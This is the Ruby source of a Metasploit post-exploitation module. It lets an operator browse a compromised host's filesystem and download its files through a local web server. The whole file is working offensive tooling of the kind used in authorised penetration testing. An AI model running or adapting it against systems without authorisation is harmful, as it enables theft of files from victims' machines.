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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/post/multi/manage/fileshare.rb
Views: 1904
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##

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# This module requires Metasploit: https://metasploit.com/download

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# Current source: https://github.com/rapid7/metasploit-framework

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##

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require 'cgi'

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class MetasploitModule < Msf::Post

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  include Msf::Post::File

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  include Msf::Exploit::Remote::HttpServer

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  def initialize(info = {})

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    super(

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      update_info(

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        info,

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        'Name' => 'Browse the session filesystem in a Web Browser',

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        'Description' => %q{

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          This module allows you to browse the session filesystem via a local

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          browser window.

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        },

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        'License' => MSF_LICENSE,

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        'Author' => [ 'timwr'],

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        'Platform' => [ 'linux', 'win', 'osx' ],

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        'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ],

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        'DefaultOptions' => { 'SRVHOST' => '127.0.0.1' },

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        'Notes' => {

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          'Reliability' => [ ],

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          'SideEffects' => [ ],

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          'Stability' => [ CRASH_SAFE ]

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        }

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      )

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    )

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  end

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  def run

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    exploit

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  end

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  def primer

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    uri = get_uri.chomp('/') + '/'

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    current_dir = pwd

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    if session.platform == 'windows'

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      current_dir = current_dir.gsub('\\', '/')

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    end

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    print_status("Current directory: #{uri}#{current_dir}")

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  end

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  def list_path(file_path, uripath)

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    contents = []

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    if file_path == '/' && session.platform == 'windows'

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      get_drives.each do |drive|

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        driveurl = drive + ':/'

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        furl = uripath + driveurl

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        contents << [furl, driveurl]

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      end

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      return contents

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    end

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    base_url = uripath

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    if file_path.starts_with?('/')

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      base_url = base_url.chomp('/')

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    end

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    base_url += file_path.chomp('/') + '/'

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    dir(file_path).each do |file|

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      next if ['.', '..'].include?(file)

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      furl = base_url + file

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      contents << [furl, file]

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    end

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    contents

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  end

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  def handle_response(cli, request_uri)

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    uripath = get_resource.chomp('/')

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    # Convert http://127.0.0.1/URIPATH/file/ -> /file

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    if request_uri != uripath && request_uri.starts_with?(uripath)

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      file_path = request_uri[uripath.length, request_uri.length].chomp('/')

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    end

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    if file_path.blank?

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      file_path = '/'

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    end

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    uripath += '/'

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    # Convert /C: -> C:/

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    if session.platform == 'windows'

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      if file_path.starts_with?('/')

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        file_path = file_path[1, file_path.length]

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      end

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      if /([A-Z]):$/ =~ file_path

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        file_path += '/'

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      end

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    end

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    if file_path.blank?

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      file_path = '/'

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    end

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    print_status("Request uri: #{request_uri} file_path: #{file_path} from #{cli.peerhost}")

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    root_dir = (file_path == '/')

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    if file?(file_path) && !root_dir

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      # Download the file

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      data = read_file(file_path)

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      send_response(cli, data, { 'Content-Type' => 'application/octet-stream', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })

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      return

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    elsif directory?(file_path) || root_dir

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      # List the directory

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      body = "<h2>Directory listing for #{CGI.escapeHTML(file_path)}</h2><hr>"

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      body << "<ul>\n"

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      unless root_dir

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        basedir = request_uri[0, request_uri.chomp('/').rindex('/')]

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        if basedir.blank?

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          basedir = '/'

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        end

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        body << "<li><a href=\"#{CGI.escapeHTML(basedir)}\">..</a>\n"

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      end

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      list_path(file_path, uripath).each do |furl, fname|

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        body << "<li><a href=\"#{CGI.escapeHTML(furl)}\">#{CGI.escapeHTML(fname)}</a>\n"

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      end

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      body << "</ul>\n"

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      html = %(<html>

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  <head>

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  <META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">

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  <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">

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  <title>Metasploit File Sharing</title>

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  </head>

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  <body>

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  #{body}

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  </body>

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  </style>

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  </html>

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      )

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      send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })

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    else

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      send_not_found(cli)

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    end

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  end

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  def on_request_uri(cli, request)

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    handle_response(cli, request.uri)

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  rescue ::Rex::Post::Meterpreter::RequestError

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    cli.send_response(create_response(500, 'Unknown error'))

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  end

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end

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